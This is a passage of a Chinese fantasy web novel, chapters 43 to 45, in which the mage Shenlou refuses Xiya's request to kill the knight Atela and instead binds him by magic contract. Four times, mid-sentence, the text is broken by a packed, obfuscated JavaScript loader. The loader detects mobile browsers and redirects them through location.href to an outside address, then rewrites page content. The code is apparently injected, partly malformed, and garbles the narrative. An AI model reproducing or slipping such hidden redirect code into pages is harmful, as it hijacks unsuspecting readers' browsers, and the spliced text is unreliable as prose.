小别重逢,蜃楼原以为他会求他想办法让他儿子瑟恩变回人类。没想到歌登倒台之后,此人似乎痛改前非,十分珍惜与孩子彼此陪伴的当下。甚至还表示要在镇上好好工作一年攒钱,之后就带着鹦鹉四处旅行,找找其他办法……和之前的样子完全判若两人。 季诺惊异于他的转变,蜃楼却只是抱臂沉默了一会儿,便了然地说:“看来他知道自己真正想要的是什么了。” 季诺想不明白:“想要什么?可菲特先生那么精明,怎么会现在才……” “这与精明与否无关的。”蜃楼说,“人的想法很容易受到外界的影响,尤其是在之前的歌登镇里。日子要好过,只能选择服从、沉默,然后自欺欺人。像雪莉、雪芮那样的,都已经是非常难得的了。” 再回到这座小镇,他又体会到这个世界鲜活的一环。 蜃楼喜欢这样的转变。不像游戏任务三言两语地敲定结局,而是细水长流的、从某个细节悄然开始的转变—— 在这个过程中,他的心态也在不知不觉中产生着变化。 季诺听明白了,似乎是联想到他在达木兰宫的遭遇,露出若有所思的神情。 然后,希娅抱着药碗从沙发上探出头来了:“那我呢?” 蜃楼看向她,认真地说:“你是独一档的,最难得。” 他意指希娅的经历与个性,是衷心的夸奖。但说者无心,听者有意,季诺从思索中抽神回来,仿佛意识到什么,放下手里还没摘净的蔬菜,瞪大眼睛,不敢置信地看了看蜃楼、又看了看希娅…… 希娅十分满意这个回答。 她躺回沙发上,盘着腿、哼着歌继续喝她的补汤。 放在腿边的通讯石闪了闪,那是蜃楼后来送给她的。希娅现在不用躲躲藏藏,已经添加了几个人的联系方式。她平时很少跟人通话,大部分情况下还是短讯交流:只要用特制的墨水在纸上写字,再用通讯石扫描一遍,就能将写下的信息传递给另一个拥有通讯石的人了。在这个世界,这是比派邮差送信要方便许多的。 希娅咬着拇指,看了一会儿传来的讯息,又招呼那边帮季诺摘菜的蜃楼:“过来看看这个。” 蜃楼过去了。 蜃楼看了看通讯石上扭曲爬行的文字,露出迷茫的表情。 希娅新奇地说:“哎呀。这是贵族间很流行的花体字,大魔法师,看不懂吗?” 蜃楼:…… 他想问问系统的。可不知道是不是因为最近的生活太过平淡,狗系统上线的次数少了很多。大多数情况下,蜃楼只能靠自己和其他人打交道。 反正也不可能瞒一辈子,他干脆地说:“不认识。” 希娅看着他,忽然拍了拍身边的沙发。 蜃楼露出迷茫的表情:“沙发……? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061213|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙发怎么了?” 希娅无语地站起来,按着他的肩膀,把身形比她高出许多的蜃楼推到沙发上坐下。 另一边的季诺吓了一跳,手忙脚乱地放下手里的蔬菜,跟着站起身来:“那、那个,我有事先出去一下……” 希娅叫住他:“乱看什么眼色,你忙你的。” 季诺咳嗽了两声,只好坐下来继续摘菜。但他识趣地将凳子转了个方向,背对着沙发,把自己的存在感降到最低——他在达木兰宫没少做类似的事情,也算是经验之谈了。 忽略掉这个插曲,希娅拿来纸和笔,在蜃楼身边坐下。 “堂堂大魔法师,不认字可不行哦。”希娅说着,在纸上写下两个端秀的符号,举到他面前,“这两个字认识吗?” 蜃楼看了看,诚实地告诉她:“不认识。” 希娅扑哧一笑,把纸递给他:“这是你的名字,蜃楼。” 蜃楼接过纸,看着上面的符号。和汉字蜃楼不同,在弗洛瓦的语言里,“蜃楼”是两个笔画有些扭曲、复杂而虚浮的符号,就像风暴之夜,湖水里扭曲又虚幻的月亮…… 他沉吟片刻,又问希娅:“你的名字是怎么写的?” 希娅拿着笔唰唰地写起来。她的名字比蜃楼要长一些,写的大约是她的全名“克莉希娅”。笔划比蜃楼要直很多,玲珑细巧,看起来就有着很好的寓意。 “‘克莉希娅’,是一种特别的花,据说能给人带来希望和好运。”希娅支着下巴,似乎想起了什么,语气柔软起来,“妈妈还在的时候,常给我讲一个故事。故事的女主角也叫‘希娅’,是花神的信徒。她在战乱中与家人失散,被卖到偏远的山庄,为地主栽种花草……日子过得虽然辛苦,但胜在安稳,不用整天担惊受怕的了。” 蜃楼看着纸上的符号,接着希娅的话问下去:“然后呢?” “然后,战火就烧到了这片山庄。”希娅想了想,继续说道,“善良的女孩为了拯救其他的奴隶,孤身拖延前来劫掠的士兵。千钧一发之际,神明忽然显灵——祂的代行者从天而降,赶跑邪恶的士兵,救下了可悲的少女希娅。” 蜃楼听到这里,有些不太明白:“代行者是什么?” “代行者,是神明意志的化身。”希娅说,“在正统教会的圣典里,神明是不能直接干预人世发展的。因此往往会创造、或者选择一个信徒,代替祂自己来践行理念。” 怎么听着感觉似曾相识呢……蜃楼茫然地想。可见希娅少有这样怀念过去的时候,他还是放下心中的怀疑,安静地听了下去。 “代行者与少女定下契约,要将这场不断扩大的战争彻底终结。”希娅顿了顿,抿了一口药汤,将故事讲述下去,“他们两个人齐心协力,战胜了邪恶的巫师、贪婪的领主,又打败了嗜血的暴君……最后呢,一个叫做‘弗洛瓦’的国度就应运而生了。” 蜃楼迟疑片刻,问道:“所以……这是弗洛瓦开国的故事?那个帮助少女的代行者,是花神派来的吗?” 希娅看了他一眼,耸耸肩膀:“在弗洛瓦境内的流传的版本确实是花神。不过,具体因人而异哦。” 话音刚落,季诺搬着凳子转回来了。 他将手里摘净的菜放到一边,蹙起眉头:“我还是第一次听说这个故事在弗洛瓦的版本……希娅,你们那边,没有‘无名之神’的传说吗?” 43. 第 43 章 “无名之神”,据季诺所说,正是那座废墟神殿所供奉的神明。 在这个世界,活跃着的神明信仰远远不止花神维洛尼亚。又有曾经的格拉斯信奉爱恋与繁育之神、遥远的东洲地区信奉公平与正义之神等等;但因不同信仰的教徒之间极少交流,弗洛瓦对内的信仰管理更是严格。除了极个别允许流通的神典,生活在这里的人们,很少能接触到除花神维洛尼亚之外的神明故事。 不过,曾经的格拉斯不是这样的。 因为靠近海面,坐拥许多大大小小的港口,来自世界各地的神话故事也会在这座小国传扬。格拉斯王室对此没有太多的忌讳,于是,被称为“异族”的人们便在这里定居下来——还带来了一个全新版本的弗洛瓦开国故事。 “在异族的信仰里,这位帮助少女建立帝国的,正是神殿里的那位‘无名之神’。”季诺说,“时间过去太久,神明的名字已经失传了。即便是那些信仰的异族,也只是用‘神明’来称呼祂。不过,也有传言说是……” 他说到这里,停顿了一下,看向希娅。 希娅不为所动,正百无聊赖地转着手里的笔。 “说是在故事的最后,少女食言了。”季诺拿起一束新鲜翠绿的蔬菜,低声说道,“她为了获取神明的助力,欺骗了祂,还将祂的真名抹去了……神明失去名字,就像骑士失去了剑,从此不再具有神格。也因为如此,才催生了后来的无名之神。” “嗯,不过按照神典的说法,这种没有名字、没有职责的神明,只是一个空壳。”希娅接下他的话,补充道,“祂会慢慢被世人所遗忘,最后彻底消失在世界上。如果这个传说是真的,那这个‘希娅’也算是个恩将仇报的大坏蛋了。” 蜃楼听完,沉默许久,没有说话。 希娅用笔尖戳戳他的衣袖,问道:“大魔法师,没什么想法吗?” 蜃楼回过神来,回答道:“感觉挺唏嘘的。” “唏嘘?”希娅不解地问,“不觉得可恨吗?这个背叛了神明的‘希娅’。” “如果是彻底的坏人,就不会冒着生命危险保护那些奴隶了。”蜃楼说,“感觉这个故事前后有些矛盾,或许还缺少了一部分。” 邪恶的巫师、贪婪的领主、暴虐的君王。 某种程度上说,这些元素恰好能与他们先前的经历一一对应上去。可照希娅和季诺的说法,这个故事在这里流传起码有上百年的时间了。怎么会在这个节骨眼上,发生这样的巧合呢? 他还想不明白,只能等系统回来再说了。 这么一打岔,希娅通讯石上的讯息倒是被蜃楼忘得一干二净。他回去和季诺摘完了菜,又帮希娅给她受伤的眼睛上了药——那朵原本生长在眼球上的玉兰花已经腐化脱落,可她眼睛的情况却变得比之前更糟糕了。 在回到皇城之前,季诺要摘除掉她坏死的眼球。 但有蜃楼在,不可能让希娅真的失去一只眼睛;他从系统那里问来了魔法义眼的制作方式,买来材料琢磨了好些天,终于雕刻出一个满意的坯子。 眼球摘除和义眼连接是要同步进行的。 在义眼完工之前,他们用药膏延缓希娅的伤势。 吃完了饭,蜃楼回到房间里,继续完成他的工作。 虽然使用的是同一种材料,但雕刻一只义眼可比投影石、通讯石要难多了。这个世界的魔法义眼是能够实现视觉功能的,需要雕刻的回路也比其他任何魔法道具要复杂得多。还往往有价无市:这种东西,和能够量产的通讯石不一样,没点干货的魔法师是做不出来的。 再雕一个晚上,这只眼睛就能完工了。 蜃楼手中握着刻刀,趴在桌上全神贯注地投入。这种刻刀是魔法师专用的雕刻工具,中部嵌着金色的石条,与通讯石是同一种材质。可以让魔法师在雕刻的同时注入魔力,更方便观察回路的状态。 又刻完一个大致的形状,他吹掉金石上的碎屑;与此同时,窗户被打开的“吱呀”声忽然闯进他的耳膜。 他在小镇租下的这间房子面积不大,隔音效果更是可以说接近于零,房租倒也因此十分实惠。但蜃楼可不只是为了便宜的房租才选择这间房子的,他时刻记着希娅没答应他冒险之前先说一声的那件事呢——也许是还不信任他,不过没关系,蜃楼有自己的解决办法。 他放下义眼,刻刀还拿在手里,轻轻地推开房门,走了出去。 在他房间的正对面,希娅的房门是虚掩着的。烛光从门缝里零零碎碎地投射出来,这间房里的人显然还没有休息。 蜃楼敲了敲房门。 “进来吧。”希娅的声音从里面传出来。 即便获得了允许,蜃楼也暂时没有夜闯希娅房间的打算。他只是试探看看她在不在而已,现在得到答案,正准备转身离开,房间门忽然被人打开了。 他下意识后退了一步,喉头却忽然一紧。无法抗拒的拉扯感传来,蜃楼又被希娅拉了进去。 “嘘。”希娅把他拉进门内,比了个噤声的手势,轻声说道,“别出声哦,楼下来了条鬼鬼祟祟的流浪狗。” 蜃楼闻言,朝窗外看去。从他这个角度向外看,只能看见一片闪烁着星光的天空,但希娅在窗台上放了面镜子,角度恰好能折射出楼下的景象。 他很快便看出她指的是什么了:那儿有个漆黑的小巷,一个灰扑扑的身影缩在那里,正不住地抬头张望,正对着这块窗台的方向。 他沉默了一下,转头去问希娅:“那不会是阿忒菈吧?” “哎呀。”希娅露出意外的表情,“这都能认出来?你跟他这么熟吗,我都看了一会儿才确定呢。” “我跟那种人可不熟……”蜃楼无奈地说,“你在这儿等着,我去赶跑他,别让他看见你的脸。” 阿忒菈这种人,大半辈子都在为了别人而活。如今可以说是他一半精神支柱的马坎男爵倒了,只剩下希娅,蜃楼很难想象他会做出什么事儿来。 而且,从霍斯菲尔德到这里也没那么近吧。 他是怎么找到这里的? 靠狗鼻子? 蜃楼想不明白,但好在这个问题可以简单粗暴地解决:他披上斗篷,趁着夜色把阿忒菈套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068998|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进麻袋打一顿,再扔得远远的,这样就可以了。 他敲定了主意,站起身来,希娅却拉住他,反过来叩了一下蜃楼的额头。 “你就不想知道他是为什么、又是怎么找到这里来的吗?”希娅说着,拿出她的通讯石,“下午的时候,雪莉给我发了一封短讯。本来想给你看的,不过你看不懂,我直接告诉你吧。” 通讯石启动,一封长信在空中浮现出来。蜃楼看得眼花缭乱,希娅却只是扫了一眼,便开口解释道:“针对马坎男爵的初步调查已经结束了。他接下来要被押送到皇城,由那里的花园法庭进行审判。不过,有趣的是……在皇室公布的相关人员名单里,并没有柯林和阿忒菈的名字。” “这个世界,对经验丰富的魔法师是不是更宽容一点?”蜃楼推测道,“比如柯林。所以他们不会计较太多,但阿忒菈又是为什么?” “阿忒菈的身手很不错,可以说是远超篱笆骑士的水准了。”希娅熄灭通讯石,意味深长地说,“弗洛瓦迟迟没有查封‘女神之血’,他也是原因之一,我家哥哥们可惜才着呢。阿忒菈肯定允诺了什么,才能顺利脱身的。至于他是怎么找到这里来的……” 希娅挥了挥手里的通讯石,理所当然地告诉蜃楼:“是我告诉他的。” 蜃楼:? 他顿了一下,脑海里闪过无数游戏中阿忒菈仅次于蜃楼本尊的炸裂发言,又动了动喉结,好悬才克制住当场下楼把他踹走的冲动。 希娅这么做肯定有她的理由,蜃楼这样说服自己,然后心平气和地去问希娅:“为什么这么做,你不相信我的能力吗?” 希娅却看着他,不紧不慢地说:“为我们的以后铺路。” “阿忒菈是个沉醉杀戮的屠夫。这种人逃脱了制裁,不单活着是个祸害,如果跟哥哥们搭上线,只会变成更加棘手的麻烦。” “蜃楼,我没有不相信你,而且恰恰相反,是相信你才这样做的。” “去帮我杀了他,好吗?”希娅攥住他的手指,认真地说,“这里的‘法律’是贵族们玩弄权力的手段。像阿忒菈和柯林这样的人,只有我们能够制裁他了。不,不止他们,要让这个国度回到正轨,还需要很多蛀虫的骨血……” 蜃楼看着希娅漆黑的眼睛,一时之间竟然不知该说些什么。 和之前扬言要杀死马坎男爵的时候不同,现在的希娅,显然是经过深思熟虑才说出这种话的。而且,即便是对于蜃楼这个完全的局外人而言,这种说辞也没什么不合理的地方…… 她说的是对的。 阿忒菈作为男主,同样是一个无法预测的变数。 在这里杀死他,能让他们的夺嫡之路少一些麻烦;相似的道理,还能在许多情况下适用:如果在蜃楼刚救下希娅的时候,选择的是直接杀穿皇城卫队跑出城门去,他也就不必兜着圈子画传送阵了。更不会被传送到神殿里,再被牵扯进“歌登镇”的一系列麻烦里去。 如果这个世界真的只是一场游戏,他现在已经毫不犹豫地下楼解决阿忒菈去了。 ……可是,他真应该这样做吗? 44. 第 44 章 蜃楼不知该怎么回答希娅。 要说只有不杀人是他的底线吧……死在“蜃楼”手里的人也不少了,顶着这个马甲说这种话实在没什么意义。 要说没有杀死阿忒菈的理由,那就更不可能了。平心而论,他还希望阿忒菈永远都不要再和希娅见面呢。直接杀了他,确实是最简单粗暴的办法。 可是,他总隐隐觉得—— 如果杀了人,就真的难以离开这个世界了…… “……哎哟,我们善良的蜃楼大人。”消失一天的系统终于出现,语气却是让人不爽的浮夸颜色,“又在犹豫了啊?也是,毕竟歌登都没杀,阿忒菈就更没理由让你动手了。但是,你要怎么跟小希娅开口呢?她可难得求你帮忙一回。” 蜃楼想了想,用商量的语气向希娅开口:“或许,我们还有更好的办法。” 他想明白了,他不能杀人。 随着时间过去,蜃楼已经无法再像刚穿进来的时候一样保持事不关己的心态了。他能感觉到自己正在以不可控制的速度习惯并融入这个世界,这样是不行的。 “钟灵”得回到现实里去。他最后的底线,是除非身死,否则决不夺走他人的性命。或许太过优柔寡断,可蜃楼在这里呆了太久,连自己本来长什么样子都快记不清了,只能用这一点来警醒自己: 他不属于这个草菅人命的世界,也不应该在这里沉沦下去。 希娅看着他,松开手,眼底有些失望。 “好吧,大圣人。”她悻悻地说,“不想脏手就直说好了,我自己去杀了他。” 说罢,她站起身来,还没走两步,蜃楼忽然拉住她的袖子。他用的力度不大,希娅却没有站稳,或许是旧伤未愈的缘故。少女踉跄了一下,向后倒去,预想的疼痛却没有来临—— 就像刑场那柄落空的铡刀。 这一刻,在她身后,有人同样及时地接住了她。 “不用杀他。”蜃楼扶着她的后背,目光投向窗外,似乎是下定了什么决心,沉声说道,“他不是缺主人吗?与其让亚纶或希恩占了这个便宜,不如抓住这个机会……” 他说完,又等待了一会儿,却迟迟没有等到希娅接话。空气中持续着可疑的沉默,蜃楼不解地低头看向希娅,发现她现在恰好算是半靠在他怀里了,有些心不在焉的样子,正垂目看着他的胳膊出神。 …… 他顿了一下,终于想起自己的身份。 十恶不赦的抖S男主角,这是在干什么呢? 蜃楼连忙收回手:“抱歉,没注意……” 希娅回过神来,咬着指甲别过脸去。漆黑的长发随着动作垂到她的肩膀前面,遮住那一片绯红滚烫的耳尖。 “就算你这么说,我也不想再被他缠上了。”希娅说着,声音越来越小,“这主人要当你去当,别让我看到那张脸……” 蜃楼下意识想摸摸她的脑袋,可手伸到一半,忽然意识到什么,迟疑片刻,还是将手收了回来。 他咳嗽了两声,宽慰道:“当然。你早点休息,我下去和他谈谈。” 说罢,不等希娅回应,便合上房门,飞快地离开了希娅的房间。 在他离开之后,希娅才抬起眼睛,看向紧闭的房门。 关于蜃楼,这个男人——身上有着太多的谜团了。 希娅曾经是不在乎他的,深究那些事情对她来说没有任何好处。蜃楼和马坎、阿忒菈这些人不一样,希娅未必不能追赶上后者,可蜃楼显然不是这样的。 他能轻而易举地将她推入深渊,也能像对待路边的流浪猫一样,小施善举,便成为她的神明。 这太不公平了。 她不可能凭借自己的能力杀死他,想清楚了这一点,希娅反而念头通达。 她放下憎恶、心平气和地扮演“落难公主”的形象。利用强大的蜃楼,扳倒了老仇人马坎男爵,让“女神之血”人去楼空,还为自己洗清了冤屈。 按理说,这样的日子持续下去,希娅很快就能接近自己的目标了——到时候,蜃楼如约离开她的身边,她也不必再受人控制,可以自由自在地生活。 可现在,她竟然控制不住自己去想。 希娅想起抵达霍斯菲尔德的前夜。在她与农妇把酒交谈时,蜃楼安静地倚在窗边。眼底迷惘而忧郁的颜色,不像运筹帷幄的大魔法师,只像一头离群的、迷路的小兽。 她本无意多管闲事,可那样的眼神,竟然让希娅想起曾经的自己……。 然后无法控制地产生怜惜。 或许希娅才是同情心泛滥的那个人,她才没什么资格嘲讽现在的蜃楼的呢。 但是、她想着铡刀落下之前,那个从人群中向她穿梭过来,最后用甜腻的酒香将她包裹起来的身影;又想到刚才,她落进蜃楼的怀里,那里除了温暖的体温,只剩下一股似有似无的薄荷香气。 他现在不光不喝酒,连人都不杀了。 ——那个养尊处优、刻薄自大的蜃楼,不知从什么时候开始,竟然一干二净地从这个世界上消失了! 怎么会有这样的事情呢? 希娅不解地想着,与此同时,一个荒唐的猜测在她的脑袋里冒了出来。 她咬着指甲,自言自语地说:“……可是,为什么他都不记得了呢?” * 另一边的阿忒菈,正在小巷里焦急地打转。 天知道那个“篱笆骑士”是怎么想的,连百合花姐妹会的人都抓走了,偏将他和柯林放了出去。可马坎被抓,阿忒菈没了主心骨,实在不知道该做些什么,只能在霍斯菲尔德的街头游荡…… 结果,他竟然收到了弗洛瓦皇室发来的邀请函。 一年一度的“绽放盛典”即将在皇城举办。他在那边明明无亲无故,就这样莫名其妙地被邀请了。送来邀请函的信使笑得比他还要狗腿,说什么“殿下对您的情况早有耳闻”,又不告诉他到底是哪个“殿下”,留下一脸问号的阿忒菈就拍拍屁股离开了。 然后,希娅就给他发了短讯……鉴于马坎男爵已经倒台,阿忒菈的第一顺位理所当然地成了希娅。他几乎是马不停蹄地赶到了这座小镇,就等着与希娅再次见面呢。 只是,他已经在这里等了三个多小时了,希娅却迟迟没有现身。 阿忒菈的心情在等待的过程中变得沉重起来。 她怎么能这样对他? 克莉希娅害他失去了主人,又随口几句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083525|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就让他从霍斯菲尔德巴巴地跑到这里来了。可她竟然不遵守约定,他明明只剩下她了——这个女人,怎么能这样玩弄他的心呢? 他披着灰色的斗篷,长剑与绳子都藏在宽大的披风下面。蜃楼的猜想没错,阿忒菈的确是不怀好意地跑来这里的:他知道希娅就要回到皇室了,真等到那一天,他就更没机会欣赏希娅阴暗灰败的神态了。 所谓“有得必有失”,没了马坎男爵的管制,阿忒菈成了只无头苍蝇,却反而拥有了为自己“争取”一把的机会。 他要带希娅回到真正属于她的地方去。 脚步声传来,阿忒菈兴奋地将手掌抵在他腰间的剑柄上。先前的愤怒一扫而空,他开始盘算要怎么将希娅带回霍斯菲尔德去;可当他转头看清楚来人之后,又仿佛被人迎面浇了盆冷水,一下子垂头丧气起来。 “来的不是希娅,你看起来很失望啊。” 蜃楼抱着胳膊走到他面前,语气凉凉的,难得跟本尊一样有了几分刻薄的味道。 阿忒菈咬了咬牙,硬着头皮问道:“怎么是你。你一直和希娅在一起?” “是啊。”蜃楼慢吞吞地说,“这不是理所当然的事情吗?我比你好看、又比你强,而且——” 他从阿忒菈手中抽出那把长剑,当着他的面,将它熔化成一滩滚烫的铁水。 “我不会带着这种东西去见她。” 阿忒菈面色铁青:“你!” 该说不愧是经验丰富的斗士,他在袖中竟也藏了一把匕首。 人到了穷途末路的时候,会变得比寻常激进很多,尤其是阿忒菈这样的家伙。他攥住匕首,以迅疾的速度逼近蜃楼,想用刀割破他的喉咙;但蜃楼现在已经完全适应了这具强大的身体,不慌不忙地抬脚一踹,就将身高接近一米九的阿忒菈踹飞了出去。 “碰”的一声,阿忒菈摔在墙上,将石砌的墙面砸出一个凹坑。 灰尘弥散开来,他一边剧烈地咳嗽着,一边滑坐在地上,嘴角沁出猩红的血。 蜃楼不紧不慢地走到阿忒菈面前,金色的眼睛居高临下地看着他。 “不清楚自己有几斤几两吗?”他冷冷地说,“我给你一个机会,阿忒菈。死在这里,或者为我做事,选一个吧。” 阿忒菈掩着嘴唇,猩红的血液从他的指缝里流淌出来。那一脚蜃楼可没有留情,被踹的要不是阿忒菈,任谁都得当场死在这里。 他在灰尘中咳嗽着,狼狈地抬头看向蜃楼。 云开见月,银白色的月光洒在他夺目的白发上。和马坎对他颐指气使的态度不同,他从蜃楼的脸上看见的,是毫不掩饰的厌恶与漠视。 他不想承认,可事实却是这样的。这个男人,的确比他好看,而且要强大得多。 如果成为他的敌人,阿忒菈会死无全尸的! 他是条狗,但也是条惜命的狗。就这样死在这里,实在太不值当。 于是,几乎没有犹豫地,阿忒菈松开手,连滚带爬地在蜃楼面前跪了下来。 他不光屈服的速度很快,开口第一句话,更是差点叫蜃楼当场把晚饭吐出来。 原因无他,他只是大声地喊了一句—— “主人!” 45. 第 45 章 蜃楼久久没有说话。 阿忒菈还以为是他叫得不够衷心,手忙脚乱地擦掉嘴角的血,正要再次开口,忽然感觉到一股诡异的力量。仿佛有人扼住他的咽喉,让他一时之间说不出话来了。 “这是禁言术。”系统在蜃楼的脑袋里幸灾乐祸地说,“而这,是魔法契约。不需要纸笔,吟诵就能完成——大人,你真想好了?把阿忒菈这种人放在身边,以后可有你恶心的机会呢。” 蜃楼双手抱胸,手指有些烦躁地敲打在胳膊上。 他倒是不想留他,可事情到了这个节骨眼上,也没别的选择了。 这个家伙,不但清楚希娅的过去,还了解马坎男爵。那么大一家“女神之血”,要说没有他人暗中协助,就马坎一个人拉扯起来的,他可不信。 可事情闹成这样,证据恐怕都已经落进弗洛瓦皇室的手里了。那些不该让人知道的东西,也早都清理干净了。 少数留存在他眼前的联系,除了希娅,就是阿忒菈。 可希娅对“女神之血”的幕后知之甚少,阿忒菈算是有用,就是人实在太…… 他必须用契约确保这个家伙,不会在下次因为被其他人揍了一顿,就改口叫对方“主人”。 蜃楼在阖目思索契约内容的间隙,忽然听见什么东西落到地上的声音。他侧目看去,发现一捆足有小臂粗的麻绳不知什么时候掉在了阿忒菈脚边,而后者口鼻满是鲜血,正惊恐地看着他。 …… 蜃楼不语,只是用这条麻绳把阿忒菈结结实实地捆了起来。 “以后,没有希娅的允许,你不能接近她。”他一本正经地说,“也不能跟踪她、躲起来偷看她、在她床板下睡觉、收藏她吃剩的面包……” 他回忆着游戏里阿忒菈的炸裂行为,一条条地在契约里罗列了出来。眼看阿忒菈的表情越来越失望,蜃楼却不为所动,还在最后认真地补充道:“最重要的是,你要像对待我一样对待她。” 阿忒菈愣住了。 他现在不能说话,但面上显露出匪夷所思的神态,显然没明白蜃楼这句话的含义。 蜃楼有些无语,解除了禁言术,问道:“怎么,有哪里不明白吗?” “像对待主——”他说到一半,注意到蜃楼警告的神色,立刻改了口,“像、像对待您一样对待她?可希娅和您是不一样的啊……” “怎么不一样了。不都是人吗?”蜃楼一边说着,一边扯紧麻绳,直到听见阿忒菈的痛呼声,才满意地给绳子打上死结。他拍拍手上的灰尘,忽然想起什么,接着补充道:“哦,你是例外。你要是能说几句人话,也用不着我这样浪费时间。” 阿忒菈皱起眉头,语气有些委屈:“可是,不做这些事情,希娅怎么能意识到我对她的爱……” 蜃楼冷笑一声,抬起手,金色的文字在空中显现出来。 他反问阿忒菈:“你的爱是什么很值钱的东西吗?她为什么要意识到这些?” 阿忒菈语塞:“这、可是……她在‘女神之血’的那几年,只有我……” 蜃楼没理会他,复杂的文字在他手下迅速收缩、汇聚成一个光点。他将手一推,那金色的闪光便像蚊蝇一样飞入了阿忒菈的额头。 阿忒菈动作一滞,暗红色的眼眸深处划过一道金色的光芒—— 不论他是否发自真心,至少契约已经完成了。 这种契约是不致死的,只有一些监视的作用。以后不论阿忒菈做什么事、和谁说话,只要有违反契约的情况发生,蜃楼就能有所感应。 必要的时候,他可以及时地采取措施。 不过要说起来,这种人,就该往狠了吓唬。 蜃楼对阿忒菈说:“契约已经定下了。胆敢背叛我,你的脑袋就会像烟花一样爆炸。” 阿忒菈吓了一跳,连忙示弱似的不住地用力点起头来。鉴于蜃楼强大的实力,他没有怀疑他的理由;毕竟只要蜃楼他想,就随时可以让阿忒菈的脑袋像烟花一样爆炸…… 两人也算是达成共识了,蜃楼带着被捆得结结实实的阿忒菈回到他的小屋里。 出乎意料的是,一楼的灯是亮的,似乎有人起夜煮了些什么东西,从厨房里散发出甜甜的香气。 阿忒菈吸了吸鼻子,闻出那是奶油和砂糖的味道,不禁皱起眉来。 “蜃楼先生!”季诺探出头来,“你回来了。我做了甜汤……啊。” 他手里端着一碗浓汤,刚从厨房里走出来,就撞见表情麻木的蜃楼、与他身后正被五花大绑的阿忒菈…… 季诺顿了一下,忽然想起这张脸,他是在蜃楼给他的投影石里看过的。 当时,这个人在“女神之血”,还差点伤到希娅……! 他想到这里,忽然打起了十二分的精神。 他将手里的汤碗“砰”的一声放在桌上,挽起袖子,露出严肃的表情:“蜃楼先生,是要审问这个人吗?交给我好了,我在达木兰宫的时候见得比较多……” 蜃楼还忙着跟脑袋里阴阳怪气的系统对线呢。这家伙消失了一天,现在倒开始嘲讽起他收留阿忒菈的事来了。一人一统互刺了几句,等到他回过神来的时候,季诺已经从厨房拿来菜刀,正在步步向阿忒菈逼近。 阿忒菈身上还捆着麻绳,有蜃楼在,不敢贸然动手。只能弱弱地往蜃楼身后躲:“主……呃。那个,蜃楼大人……” 蜃楼瞥了他一眼,按下季诺手里的菜刀,解释道:“不是的。这是我们的新……同伙。” 他实在想不出该用什么词语来形容阿忒菈了。 朋友是不可能的,仆人就更奇怪了;犹豫一下再张口,“同伙”脱口而出,一时竟没觉得有什么不对。 “噗……同伙?”系统在他耳边嘲笑起来,“大人,你们是主角团诶!怎么说得好像反派一样……” “算了吧。”蜃楼忍无可忍地吐槽,“我跟他就这人设,和反派有什么区别?你是站着说话不腰疼,给我闭嘴。” 系统笑了几声,不说话了。 而季诺手里拿着菜刀,看看蜃楼、又看了看被五花大绑的阿忒菈,欲言又止。 蜃楼摸摸他的脑袋:“有话直说吧。” 季诺放下菜刀,迟疑片刻,询问蜃楼:“那奶油浓汤……要给他盛一碗吗?” 蜃楼正要回答,阿忒菈却拧起眉头,抵触地开口了:“什么啊,我不喝!真搞不懂。甜口的汤到底是谁在喝?” 季诺深吸口气,看向阿忒菈,婉转地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096108|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“其实蜃楼先生就挺喜欢的……我本来是给他煮的。” 阿忒菈怔了一下,立即改口道:“也、也是……平民哪吃得起砂糖,这样才符合主——大人的身份啊!我、呃、我就不喝了,我不配喝这么好的汤……” “……”蜃楼没搭理他,只是温柔地嘱咐季诺,“时间不早了,你先上去休息吧。” 季诺点点头,打了个呵欠,识趣地回房睡觉去了。 一楼于是只剩下蜃楼和阿忒菈。两人谁都没有说话,任凭沉默在周围发酵。 在寂静的空气里,阿忒菈吞了吞口水。 他对蜃楼的认识不多,但凭多年在角斗场上杀戮的本能,已经能感觉到危险的气息。 